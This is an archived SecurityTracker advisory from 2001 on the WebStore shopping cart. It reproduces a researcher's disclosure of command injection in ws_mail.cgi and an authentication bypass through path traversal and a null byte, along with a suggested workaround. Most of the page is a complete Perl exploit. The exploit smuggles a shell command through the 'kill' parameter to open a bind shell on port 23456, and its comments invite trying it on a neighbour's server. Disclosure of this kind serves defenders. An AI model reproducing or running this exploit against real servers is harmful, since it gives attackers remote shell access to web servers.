Want to learn about the SecurityTracker archives? We've got answers to frequently asked questions right here
|
|
|
|
|
|
|
|
|
|
|
WebStore Shopping Cart Allows Remote Users to Execute Commands on the Server
|
Date: Jun 13 2001 18:30 (UTC/GMT)
|
Impact: Execution of arbitrary code via network
|
Exploit Included: Yes
|
Description: A vulnerability has been reported in the WebStore shopping cart software that allows remote users to execute arbitrary shell commands on the server with the permissions of the web server.
The ws_mail.cgi is reported to unsafely process user-submitted data, allowing remote authenticated administrators to pass data to
the 'system' command. However, the Library/WSSecurity.pl script reportedly allows remote users to bypass authentication. As a
result, remote users can execute commands on the server without authentication.
The vendor has reportedly been notified.
A
demonstration exploit script is included in the Source Message.
|
Impact: A remote user can execute commands on the server with the permissions of the web server.
|
Solution: No solution was available at the time of this entry. The author of the report has provided a suggested workaround (see the Source Message).
|
Vendor URL: www.cgicentral.net/ (Links to External Site)
|
Cause: Authentication error, Input validation error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Reported By: "Deja User" <noident@my-deja.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 12 Jun 2001 09:31:09 -0700
From: "Deja User" <noident@my-deja.com>
Subject: bug
|
Hi,
I'm reposting a bug I've found some time before.
Thanks
WebStore from www.cgicentral.net is a shopping cart allowing users to buy things on-line.
One of the scripts in the package, ws_mail.cgi unsafely passes user-submitted data to
'system' command:
if ($in{'terminate'}) {
eval { system("kill $in{'kill'}") } if defined($in{'kill'});
This command can only be issued by an authenticated administrator.
Another script in the package, Library/WSSecurity.pl allows us to bypass verification:
in sub verify_user:
if ($filename) {
$file = $user_directory.'/'.$filename.'.usr';
open(FILE, $file) || &logon_html('Access Error');
while (<FILE>) { @fields = split(/\|/) }
close(FILE);
if (-M $file > .02) {
&write_open($file,'');
print FILE join ('|', @fields);
close(FILE);
system("chmod 666 $file");
}
$fullname = "\L\u$fields[2] "."\L\u$fields[3]";
return ($filename, $fullname, $fields[1]);
}
Variable $filename is passed by the user, and we can specify any file that we think
exists on the system that is readable and writeable by us, with or without path
traversal (the ../../ stuff) and get rid of the '.usr' bit by whacking a nul at the end
of $filename. This allows us to authenticate enough to issue the kill command.
The authors were contacted a week ago, I received no reply from them.
Suggested workaround:
One way to fix the unsafe system command is to substitute all instances of
system("kill $in{'kill'}" for
system("kill", "$in{'kill'}")
system in a list context is safe to use.
The vulnerability was found, exploit written and workaround suggested by:
Igor Dobrovitski noident@my-deja.com
Exploit:
#!/usr/bin/perl -w
# Sun, May 6, 2001
# exploit by Igor Dobrovitski, noident@my-deja.com
# The exploit is for the default set-up. A good way to test if your (your neighbour's :) server
# is vulnerable. Only for Unix, will now work on NT
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$msgfile = '../../Statistics/WebStore_Access.counter';
$userfile = '../Statistics/WebStore_Access.counter';
# if the sploit doesn't work with the above values, comment them out and uncomment ones below
#$msgfile = '../../ws_delete_files.cron';
#$userfile = '../ws_delete_files.cron';
# or these if the above fails:
#$msgfile = '../../Statistics/index.html';
#$userfile = '../Statistics/index.html';
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol )
;setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY)) ;
listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">& NEW";open STDERR,
">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ws_mail.cgi\n"}
$ARGV[0] =~ s|^(?:http://)*(.*/).*(\..*)$|${1}ws_mail$2|;
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
$userfile .= '\0';
$sh_cmd = '55555;perl=\'perl\';test -x /usr/bin/perl && perl=\'/usr/bin/perl\';test -x /usr/l ocal/bin/
perl && perl=\'/usr/local/bin/perl\';$perl -e \'' . $exec_code . '\'';
# the above is what's passed to the 'system' command as part of an argument
$form = makeform({'userfile' => $userfile, 'kill' => $sh_cmd, 'terminate' => 'whatever',
'admin' => 'yep', 'restart' => 'pls', 'msgfile' => $msgfile});
print "Engaging the enemy. Please stand by...\n";
$SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nHave fun an
d be nice to the server.\n"; exit };
alarm(20);
&send($form);
&oops_the_sploit_did_not_work();
sub makeform
my $string;
my @blah;
my $line = '';
my $here;
my %data = %{$_[0]};
foreach my $key (keys %data)
{
$line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
}
$line =~ s|^(.*)BBBB$|$1|;
$line =~ s/\\n/\n/g;
$line =~ s/\\t/\t/g;
$line =~ s/\\e/\e/g;
$line =~ s/\\f/\f/g;
$line =~ s/\\r/\r/g;
$line =~ s/\\0/\0/g;
foreach my $char (split //, $line)
{
if($char !~ m/[A-Za-z0-9._ ]/)
{
$char = unpack "H2", $char;
$char = '%' . "$char";
}
push @blah, $char;
}
$string = join "",@blah;
$string =~ s/AAAA/=/g;
$string =~ s/BBBB/&/g;
$string =~ s/ /+/g;
my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
referer: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len
$string
EOF
return $here;
sub send
my $form_to_send = shift;
my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa( $h) . "\n"
; close(S); exit 1 }
select(S);
$|=1;
print "$form_to_send";
my @reply=<S>;
select(STDOUT);
close(S);
return @reply;
sub oops_the_sploit_did_not_work
print STDERR "The exploit didn't work on this host\nSorry...\n";
exit;
------------------------------------------------------------
--== Sent via Deja.com ==--
http://www.deja.com/
|
|
Go to the Top of This SecurityTracker Archive Page
|